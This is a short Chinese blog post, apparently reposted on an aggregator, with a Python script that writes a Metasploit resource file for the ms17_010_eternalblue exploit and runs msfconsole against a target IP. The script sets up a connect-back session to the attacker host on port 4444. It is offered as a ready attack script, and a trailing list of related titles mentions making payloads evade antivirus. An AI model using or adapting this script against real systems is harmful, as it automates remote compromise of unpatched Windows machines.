Python-实现与metasploit交互并进行ms17_010攻击

Posted Sch01aR#

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python-实现与metasploit交互并进行ms17_010攻击相关的知识,希望对你有一定的参考价值。

关于ms17_010,可参考http://www.cnblogs.com/sch01ar/p/7672454.html

目标IP:192.168.220.139

本机IP:192.168.220.145

# -*- coding:utf-8 -*-
__author__ = "MuT6 Sch01aR"

import os

def Handler(configFile,lhost,lport,rhost):
    configFile.write(\'use exploit/windows/smb/ms17_010_eternalblue\\n\')
    configFile.write(\'set LPORT \' + str(lport) + \'\\n\')
    configFile.write(\'set LHOST \' + str(lhost) + \'\\n\')
    configFile.write(\'set RHOST \' + str(rhost) + \'\\n\')
    configFile.write(\'exploit\\n\')

def main():
    configFile = open(\'ms17_010.rc\',\'w\')
    lhost = \'192.168.220.145\'
    lport = 4444
    rhost = \'192.168.220.139\'
    Handler(configFile,lhost,lport,rhost)
    configFile.close()
    os.system(\'msfconsole -r ms17_010.rc\')
main()

运行结果

通过生成.rc的文件,把相关的msf命令写入,然后通过msf调用.rc的文件

以上是关于Python-实现与metasploit交互并进行ms17_010攻击的主要内容,如果未能解决你的问题,请参考以下文章

Python网络编程11-实现自动化漏洞探测

怎么实现python写网页后台实现与数据库交互

Metasploit+python生成免杀exe过360杀毒

安全测试工具Metasploit与漏洞扫描(上)

PHP与Python进行数据交互

metasploit pro 多少钱